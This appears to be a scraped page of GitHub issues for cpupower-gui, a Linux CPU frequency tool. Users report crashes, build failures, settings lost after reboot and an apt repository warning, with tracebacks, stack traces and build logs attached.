Is there any config file or setting that can be defined to allow this?

Thanks

Problem with the GUI

Font colors are off in core number

Also , some commands are missing as well

  • PopOS 20.10
  • cpupower-gui 0.9.1
  • Installed via: source

Screenshot from 2020-10-29 06-58-59

Screenshot from 2020-10-29 07-04-21

P.S: the package in Pop Shop was last updated on September of 2019...please do something about it

Fedora 34 crash at start

On Fedora 34 after the recent update I have the following issues:

  • trying to launch from cli using cpupower-gui it fails with:
Traceback (most recent call last):
  File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 877, in on_profile_changed
    self.upd_sliders()
  File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 415, in upd_sliders
    self._update_energy_pref_box()
  File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 516, in _update_energy_pref_box
    energy_pref = conf.energy_pref_id
  File "/usr/share/cpupower-gui/cpupower_gui/config.py", line 479, in energy_pref_id
    return self.energy_prefs.index(pref)
ValueError: '32' is not in list
Traceback (most recent call last):
  File "/usr/share/cpupower-gui/cpupower_gui/main.py", line 76, in do_activate
    win = CpupowerGuiWindow(application=self)
  File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 180, in __init__
    self.upd_sliders()
  File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 415, in upd_sliders
    self._update_energy_pref_box()
  File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 516, in _update_energy_pref_box
    energy_pref = conf.energy_pref_id
  File "/usr/share/cpupower-gui/cpupower_gui/config.py", line 479, in energy_pref_id
    return self.energy_prefs.index(pref)
ValueError: '32' is not in list
  • using app launcher instead the gui start but frequency slider is disabled:
    Screenshot from 2021-09-03 13-11-47

What can I do to debug this issue?

Enable all available governors

Is your feature request related to a problem? Please describe.
A It is possible to choose between 2 governors, schedutil and performance (AMD Zen 2 CPU). However, the governors ondemand, powersave, conservative and userspace are not available.

Describe the solution you'd like
A I would like to be able to choose all available governors in the drop down menu.

Describe alternatives you've considered
A Activating one of these governors via command line (e.g. cpupower frequency-set -g powersave), makes the governor show up in the drop down menu. To make them all show up, they all have to be activated via command line first.

Additional context

Fails to start when launched via gapplication

Preface: I'm filing this bug in case you want to look into this, but personally I'm not very bothered by it, so feel free to close.

Describe the bug
cpupower-gui always starts fine from console, but when launched from window manager, fails to start and dumps core. (Stack traces included below). I'm launching via AwesomeWM's Super+P menu, which seems to call gapplication to launch the program. Running the same command from console yields the following error:

error sending Activate message to application: GDBus.Error:org.freedesktop.DBus.Error.Spawn.ChildSignaled: Process org.rnd2.cpupower_gui received signal 11

To Reproduce
Steps to reproduce the behaviour:
Launch cpupower-gui using the command gapplication launch org.rnd2.cpupower_gui.

Setup (please complete the following information):

  • Distro: Arch
  • Package version: 0.9.1-2
  • Installed via: AUR cpupower-gui

Additional context
If I launch the app from the command line, it runs fine. I've tried this a few methods:

$ cpupower-gu
$ cpupower-gui --gapplication-servicei
$ dbus-launch cpupower-gui
$ dbus-launch cpupower-gui --gapplication-service

These all run fine. The error only occurs when launching via gapplication

$ gapplication launch org.rnd2.cpupower_gui
error sending Activate message to application: GDBus.Error:org.freedesktop.DBus.Error.Spawn.ChildSignaled: Process org.rnd2.cpupower_gui received signal 11

Stack trace:

Oct 17 18:25:52 archlinux systemd-coredump[1752]: Process 1746 (cpupower-gui) of user 1000 dumped core.
                                                  
                                                  Stack trace of thread 1746:
                                                  #0  0x00007f47b8761c1c n/a (libgtk-3.so.0 + 0x113c1c)
                                                  #1  0x00007f47b8781d5c n/a (libgtk-3.so.0 + 0x133d5c)
                                                  #2  0x00007f47b876c2f5 n/a (libgtk-3.so.0 + 0x11e2f5)
                                                  #3  0x00007f47b9ed17e7 g_type_create_instance (libgobject-2.0.so.0 + 0x307e7)
                                                  #4  0x00007f47b9ec1ffe n/a (libgobject-2.0.so.0 + 0x20ffe)
                                                  #5  0x00007f47b9ec313d g_object_new_with_properties (libgobject-2.0.so.0 + 0x2213d)
                                                  #6  0x00007f47b9ec3c42 g_object_new (libgobject-2.0.so.0 + 0x22c42)
                                                  #7  0x00007f47b8986df3 n/a (libgtk-3.so.0 + 0x338df3)
                                                  #8  0x00007f47b9ed17e7 g_type_create_instance (libgobject-2.0.so.0 + 0x307e7)
                                                  #9  0x00007f47b9ec1ffe n/a (libgobject-2.0.so.0 + 0x20ffe)
                                                  #10 0x00007f47b9ec33b1 g_object_newv (libgobject-2.0.so.0 + 0x223b1)
                                                  #11 0x00007f47b870d9c5 n/a (libgtk-3.so.0 + 0xbf9c5)
                                                  #12 0x00007f47b871039f n/a (libgtk-3.so.0 + 0xc239f)
                                                  #13 0x00007f47b8711382 n/a (libgtk-3.so.0 + 0xc3382)
                                                  #14 0x00007f47b9f700b2 n/a (libglib-2.0.so.0 + 0x550b2)
                                                  #15 0x00007f47b9f71228 g_markup_parse_context_parse (libglib-2.0.so.0 + 0x56228)
                                                  #16 0x00007f47b8712822 n/a (libgtk-3.so.0 + 0xc4822)
                                                  #17 0x00007f47b87057ea gtk_builder_add_from_resource (libgtk-3.so.0 + 0xb77ea)
                                                  #18 0x00007f47ba158a8d n/a (libffi.so.7 + 0x6a8d)
                                                  #19 0x00007f47ba15801b n/a (libffi.so.7 + 0x601b)
                                                  #20 0x00007f47ba0a6175 n/a (_gi.cpython-38-x86_64-linux-gnu.so + 0x2a175)
                                                  #21 0x00007f47ba0a47e2 n/a (_gi.cpython-38-x86_64-linux-gnu.so + 0x287e2)
                                                  #22 0x00007f47ba0997ce n/a (_gi.cpython-38-x86_64-linux-gnu.so + 0x1d7ce)
                                                  #23 0x00007f47bb6434d4 _PyObject_MakeTpCall (libpython3.8.so.1.0 + 0x1274d4)
                                                  #24 0x00007f47bb63eda8 _PyEval_EvalFrameDefault (libpython3.8.so.1.0 + 0x122da8)
                                                  #25 0x00007f47bb638e9a _PyEval_EvalCodeWithName (libpython3.8.so.1.0 + 0x11ce9a)
                                                  #26 0x00007f47bb642b6e _PyObject_FastCallDict (libpython3.8.so.1.0 + 0x126b6e)
                                                  #27 0x00007f47bb655524 n/a (libpython3.8.so.1.0 + 0x139524)
                                                  #28 0x00007f47bb643570 _PyObject_MakeTpCall (libpython3.8.so.1.0 + 0x127570)
                                                  #29 0x00007f47bb63e894 _PyEval_EvalFrameDefault (libpython3.8.so.1.0 + 0x122894)
                                                  #30 0x00007f47bb64a838 _PyFunction_Vectorcall (libpython3.8.so.1.0 + 0x12e838)
                                                  #31 0x00007f47bb63e967 _PyEval_EvalFrameDefault (libpython3.8.so.1.0 + 0x122967)
                                                  #32 0x00007f47bb6389a4 _PyEval_EvalCodeWithName (libpython3.8.so.1.0 + 0x11c9a4)
                                                  #33 0x00007f47bb6e8f03 PyEval_EvalCode (libpython3.8.so.1.0 + 0x1ccf03)
                                                  #34 0x00007f47bb6f4868 n/a (libpython3.8.so.1.0 + 0x1d8868)
                                                  #35 0x00007f47bb6eea43 n/a (libpython3.8.so.1.0 + 0x1d2a43)
                                                  #36 0x00007f47bb5ae67b PyRun_FileExFlags (libpython3.8.so.1.0 + 0x9267b)
                                                  #37 0x00007f47bb5ae0f2 PyRun_SimpleFileExFlags (libpython3.8.so.1.0 + 0x920f2)
                                                  #38 0x00007f47bb70182a Py_RunMain (libpython3.8.so.1.0 + 0x1e582a)
                                                  #39 0x00007f47bb6dd7b9 Py_BytesMain (libpython3.8.so.1.0 + 0x1c17b9)
                                                  #40 0x00007f47bb37b152 __libc_start_main (libc.so.6 + 0x28152)
                                                  #41 0x000055919671704e _start (python3.8 + 0x104e)
                                                  
                                                  Stack trace of thread 1750:
                                                  #0  0x00007f47bb3dedbc malloc (libc.so.6 + 0x8bdbc)
                                                  #1  0x00007f47b9f6b2ba g_malloc (libglib-2.0.so.0 + 0x502ba)
                                                  #2  0x00007f47b9f8a3d2 g_strdup (libglib-2.0.so.0 + 0x6f3d2)
                                                  #3  0x00007f47b9f6a263 g_source_set_name (libglib-2.0.so.0 + 0x4f263)
                                                  #4  0x00007f47b9d185e4 n/a (libgio-2.0.so.0 + 0xa55e4)
                                                  #5  0x00007f47b9d7bca0 n/a (libgio-2.0.so.0 + 0x108ca0)
                                                  #6  0x00007f47b9d7be0a n/a (libgio-2.0.so.0 + 0x108e0a)
                                                  #7  0x00007f47b9d7bf20 n/a (libgio-2.0.so.0 + 0x108f20)
                                                  #8  0x00007f47b9d7d52a n/a (libgio-2.0.so.0 + 0x10a52a)
                                                  #9  0x00007f47b9d140f4 n/a (libgio-2.0.so.0 + 0xa10f4)
                                                  #10 0x00007f47b9d18639 n/a (libgio-2.0.so.0 + 0xa5639)
                                                  #11 0x00007f47b9d7bca0 n/a (libgio-2.0.so.0 + 0x108ca0)
                                                  #12 0x00007f47b9d0046a n/a (libgio-2.0.so.0 + 0x8d46a)
                                                  #13 0x00007f47b9f6d924 g_main_context_dispatch (libglib-2.0.so.0 + 0x52924)
                                                  #14 0x00007f47b9fc1621 n/a (libglib-2.0.so.0 + 0xa6621)
                                                  #15 0x00007f47b9f6ce73 g_main_loop_run (libglib-2.0.so.0 + 0x51e73)
                                                  #16 0x00007f47b9d74fe8 n/a (libgio-2.0.so.0 + 0x101fe8)
                                                  #17 0x00007f47b9f9ad21 n/a (libglib-2.0.so.0 + 0x7fd21)
                                                  #18 0x00007f47bb33a3e9 start_thread (libpthread.so.0 + 0x93e9)
                                                  #19 0x00007f47bb453293 __clone (libc.so.6 + 0x100293)
                                                  
                                                  Stack trace of thread 1749:
                                                  #0  0x00007f47bb44dd5d syscall (libc.so.6 + 0xfad5d)
                                                  #1  0x00007f47b9fbb21d n/a (libglib-2.0.so.0 + 0xa021d)
                                                  #2  0x00007f47b9d64fc3 n/a (libgio-2.0.so.0 + 0xf1fc3)
                                                  #3  0x00007f47b9cb239f n/a (libgio-2.0.so.0 + 0x3f39f)
                                                  #4  0x00007f47b9d18a41 n/a (libgio-2.0.so.0 + 0xa5a41)
                                                  #5  0x00007f47b9f9dbd7 n/a (libglib-2.0.so.0 + 0x82bd7)
                                                  #6  0x00007f47b9f9ad21 n/a (libglib-2.0.so.0 + 0x7fd21)
                                                  #7  0x00007f47bb33a3e9 start_thread (libpthread.so.0 + 0x93e9)
                                                  #8  0x00007f47bb453293 __clone (libc.so.6 + 0x100293)
                                                  
                                                  Stack trace of thread 1748:
                                                  #0  0x00007f47bb44846f __poll (libc.so.6 + 0xf546f)
                                                  #1  0x00007f47b9fc15af n/a (libglib-2.0.so.0 + 0xa65af)
                                                  #2  0x00007f47b9f6ce73 g_main_loop_run (libglib-2.0.so.0 + 0x51e73)
                                                  #3  0x00007f47b9d64a52 g_dbus_connection_send_message_with_reply_sync (libgio-2.0.so.0 + 0xf1a52)
                                                  #4  0x00007f47b9d71cfd n/a (libgio-2.0.so.0 + 0xfecfd)
                                                  #5  0x00007f47b9d71f83 g_dbus_connection_call_sync (libgio-2.0.so.0 + 0xfef83)
                                                  #6  0x00007f47b9d651f1 n/a (libgio-2.0.so.0 + 0xf21f1)
                                                  #7  0x00007f47b9cb239f n/a (libgio-2.0.so.0 + 0x3f39f)
                                                  #8  0x00007f47b9d18a41 n/a (libgio-2.0.so.0 + 0xa5a41)
                                                  #9  0x00007f47b9f9dbd7 n/a (libglib-2.0.so.0 + 0x82bd7)
                                                  #10 0x00007f47b9f9ad21 n/a (libglib-2.0.so.0 + 0x7fd21)
                                                  #11 0x00007f47bb33a3e9 start_thread (libpthread.so.0 + 0x93e9)
                                                  #12 0x00007f47bb453293 __clone (libc.so.6 + 0x100293)
                                                  
                                                  Stack trace of thread 1747:
                                                  #0  0x00007f47bb44846f __poll (libc.so.6 + 0xf546f)
                                                  #1  0x00007f47b9fc15af n/a (libglib-2.0.so.0 + 0xa65af)
                                                  #2  0x00007f47b9f6c131 g_main_context_iteration (libglib-2.0.so.0 + 0x51131)
                                                  #3  0x00007f47b9f6c182 n/a (libglib-2.0.so.0 + 0x51182)
                                                  #4  0x00007f47b9f9ad21 n/a (libglib-2.0.so.0 + 0x7fd21)
                                                  #5  0x00007f47bb33a3e9 start_thread (libpthread.so.0 + 0x93e9)
                                                  #6  0x00007f47bb453293 __clone (libc.so.6 + 0x100293)

Cannot start program

Describe the bug
A clear and concise description of what the bug is.

To Reproduce
Steps to reproduce the behaviour:

  1. Go to 'run program'
  2. Click on ''
  3. Scroll down to ''
  4. See error
    `port@dell:~$ cpupower-gui
    Fatal Python error: Cannot recover from stack overflow.
    Python runtime state: initialized

Current thread 0x00007f181cb86740 (most recent call first):
File "/usr/lib/python3/dist-packages/gi/overrides/init.py", line 333 in wrapped
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 108 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 81 in update_cpubox
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 112 in _get_active_cpu
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 117 in upd_sliders
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 143 in on_cpu_changed
...
Aborted (core dumped)`
Expected behaviour
A clear and concise description of what you expected to happen.

Setup (please complete the following information):

  • Distro: [ubuntu 20.04 lts]
  • Package version: [latest]
  • Installed via: [package]

Additional context
Add any other context about the problem here.

Failure meson build

Can not build properly using yay

I get this error message:
cpupower-gui-1.0.0/data/meson.build:14:0: ERROR: Function does not take positional arguments.

Here is the full log:
Build started at 2021-10-27T19:26:03.710799
Main binary: /usr/bin/python
Build Options: -Dsystemddir=/usr/lib/systemd -Dprefix=/usr -Dbuildtype=plain
Python system: Linux
The Meson build system
Version: 0.60.0
Source dir: /home/michael/.cache/yay/cpupower-gui/src/cpupower-gui-1.0.0
Build dir: /home/michael/.cache/yay/cpupower-gui/src/build
Build type: native build
Project name: cpupower-gui
Project version: 1.0.0
Build machine cpu family: x86_64
Build machine cpu: x86_64
Host machine cpu family: x86_64
Host machine cpu: x86_64
Target machine cpu family: x86_64
Target machine cpu: x86_64
Program python3 found: YES (/usr/bin/python3)
Configuring cpupower-gui using configuration
Configuring cpupower-gui-helper using configuration
Configuring window.ui using configuration
Pkg-config binary for MachineChoice.BUILD is not cached.
Pkg-config binary missing from cross or native file, or env var undefined.
Trying a default Pkg-config fallback at pkg-config
Found pkg-config: /usr/bin/pkg-config (1.8.0)
Determining dependency 'glib-2.0' with pkg-config executable '/usr/bin/pkg-config'
env[PKG_CONFIG_PATH]:
Called /usr/bin/pkg-config --modversion glib-2.0 -> 0
2.70.0
env[PKG_CONFIG_PATH]:
Called /usr/bin/pkg-config --cflags glib-2.0 -> 0
-I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include
env[PKG_CONFIG_ALLOW_SYSTEM_LIBS]: 1
env[PKG_CONFIG_PATH]:
Called /usr/bin/pkg-config --libs glib-2.0 -> 0
-L/usr/lib -lglib-2.0
env[PKG_CONFIG_PATH]:
Called /usr/bin/pkg-config --libs glib-2.0 -> 0
-lglib-2.0
Program glib-compile-resources found: YES (/usr/bin/glib-compile-resources)
Configuring org.rnd2.cpupower_gui.desktop.in using configuration

cpupower-gui-1.0.0/data/meson.build:14:0: ERROR: Function does not take positional arguments.

When trying to build manual same error, heres the log;

Build started at 2021-10-29T00:12:53.781969
Main binary: /usr/bin/python
Build Options: -Dsystemddir=/usr/lib/systemd -Dpkla=false -Duse_libexec=false -Dprefix=/usr
Python system: Linux
The Meson build system
Version: 0.60.0
Source dir: /home/michael/cpupower-gui
Build dir: /home/michael/cpupower-gui/build
Build type: native build
Project name: cpupower-gui
Project version: 1.0.0
Build machine cpu family: x86_64
Build machine cpu: x86_64
Host machine cpu family: x86_64
Host machine cpu: x86_64
Target machine cpu family: x86_64
Target machine cpu: x86_64
Program python3 found: YES (/usr/bin/python3)
Configuring cpupower-gui using configuration
Configuring cpupower-gui-helper using configuration
Configuring window.ui using configuration
Pkg-config binary for MachineChoice.BUILD is not cached.
Pkg-config binary missing from cross or native file, or env var undefined.
Trying a default Pkg-config fallback at pkg-config
Found pkg-config: /usr/bin/pkg-config (1.8.0)
Determining dependency 'glib-2.0' with pkg-config executable '/usr/bin/pkg-config'
env[PKG_CONFIG_PATH]:
Called /usr/bin/pkg-config --modversion glib-2.0 -> 0
2.70.0
env[PKG_CONFIG_PATH]:
Called /usr/bin/pkg-config --cflags glib-2.0 -> 0
-I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include
env[PKG_CONFIG_ALLOW_SYSTEM_LIBS]: 1
env[PKG_CONFIG_PATH]:
Called /usr/bin/pkg-config --libs glib-2.0 -> 0
-L/usr/lib -lglib-2.0
env[PKG_CONFIG_PATH]:
Called /usr/bin/pkg-config --libs glib-2.0 -> 0
-lglib-2.0
Program glib-compile-resources found: YES (/usr/bin/glib-compile-resources)
Configuring org.rnd2.cpupower_gui.desktop.in using configuration

data/meson.build:14:0: ERROR: Function does not take positional arguments.

Profile - No Profile

After applying any of the saved profiles, it says No profile.

It does not affect the function of the app, it works and applies the selected profile but just displays as "No profile" even the profile is already applied.

cpupow-git

Distro: Arch Linux
neofetch

cpupower-gui-git (AUR) version "cpupower-gui 1.0.0"

https://aur.archlinux.org/packages/cpupower-gui-git

Doesn't apply configuration at boot

The service seems to be launching, but for some reason every time I reboot my PC it reverts to performance governor.

Verification successful
● cpupower-gui.service - Apply cpupower-gui config at boot
   Loaded: loaded (/lib/systemd/system/cpupower-gui.service; enabled; vendor preset: enabled)
   Active: inactive (dead) since Tue 2021-08-24 18:21:03 CEST; 1min 15s ago
     Docs: https://github.com/vagnum08/cpupower-gui
           man:cpupower-gui(1)
  Process: 4553 ExecStart=/usr/bin/cpupower-gui config (code=exited, status=0/SUCCESS)
 Main PID: 4553 (code=exited, status=0/SUCCESS)

Aug 24 18:21:03 marcin-PC cpupower-gui[4553]:     Minimum Frequency: 800.0 MHz, Maximum Frequency: 4500.0 MHz
Aug 24 18:21:03 marcin-PC cpupower-gui[4553]:     Governor: Schedutil, Online: True
Aug 24 18:21:03 marcin-PC cpupower-gui[4553]: Setting CPU: 6
Aug 24 18:21:03 marcin-PC cpupower-gui[4553]:     Minimum Frequency: 800.0 MHz, Maximum Frequency: 4500.0 MHz
Aug 24 18:21:03 marcin-PC cpupower-gui[4553]:     Governor: Schedutil, Online: True
Aug 24 18:21:03 marcin-PC cpupower-gui[4553]: Setting CPU: 7
Aug 24 18:21:03 marcin-PC cpupower-gui[4553]:     Minimum Frequency: 800.0 MHz, Maximum Frequency: 4500.0 MHz
Aug 24 18:21:03 marcin-PC cpupower-gui[4553]:     Governor: Schedutil, Online: True
Aug 24 18:21:03 marcin-PC systemd[1]: cpupower-gui.service: Succeeded.
Aug 24 18:21:03 marcin-PC systemd[1]: Started Apply cpupower-gui config at boot.

not working now

Traceback (most recent call last):
  File "/usr/bin/cpupower-gui", line 34, in <module>
    from cpupower_gui import __main__
ModuleNotFoundError: No module named 'cpupower_gui'

[Linux Mint 20] Adding the repo causes apt to refuse to update from it

Describe the bug
APT refuses to update from http://download.opensuse.org/repositories/home:/erigas:/cpupower-gui/xUbuntu_20.04/.

To Reproduce
Steps to reproduce the behaviour:

  1. Follow install instructions
  2. Run apt update
  3. View output

Expected behaviour
Apt doesn't complain.

Actual behavior

W: No Hash entry in Release file /var/lib/apt/lists/partial/download.opensuse.org_repositories_home:_erigas:_cpupower-gui_xUbuntu%5f20.04_InRelease
E: The repository 'http://download.opensuse.org/repositories/home:/erigas:/cpupower-gui/xUbuntu_20.04  InRelease' provides only weak security information.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.

Setup (please complete the following information):

  • Distro: Linux Mint
  • Package version: N/A
  • Installed via: apt

Frequency setting reset after reboot.

I'm running Ubuntu 20.04 beta and the frequency I set in cpupower-gui reset after a reboot/shutdown. Before I found this amazing program I use to set frequency manually in a terminal in /sys/device/system/cpu/cpu*/cpufreq/scaling_max_frequency and that also resets after a reboot so it's the system and not your program I believe.

Cannot build

Cannot build, got an error (meson)

this is exactly the same bug as described here: #71

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.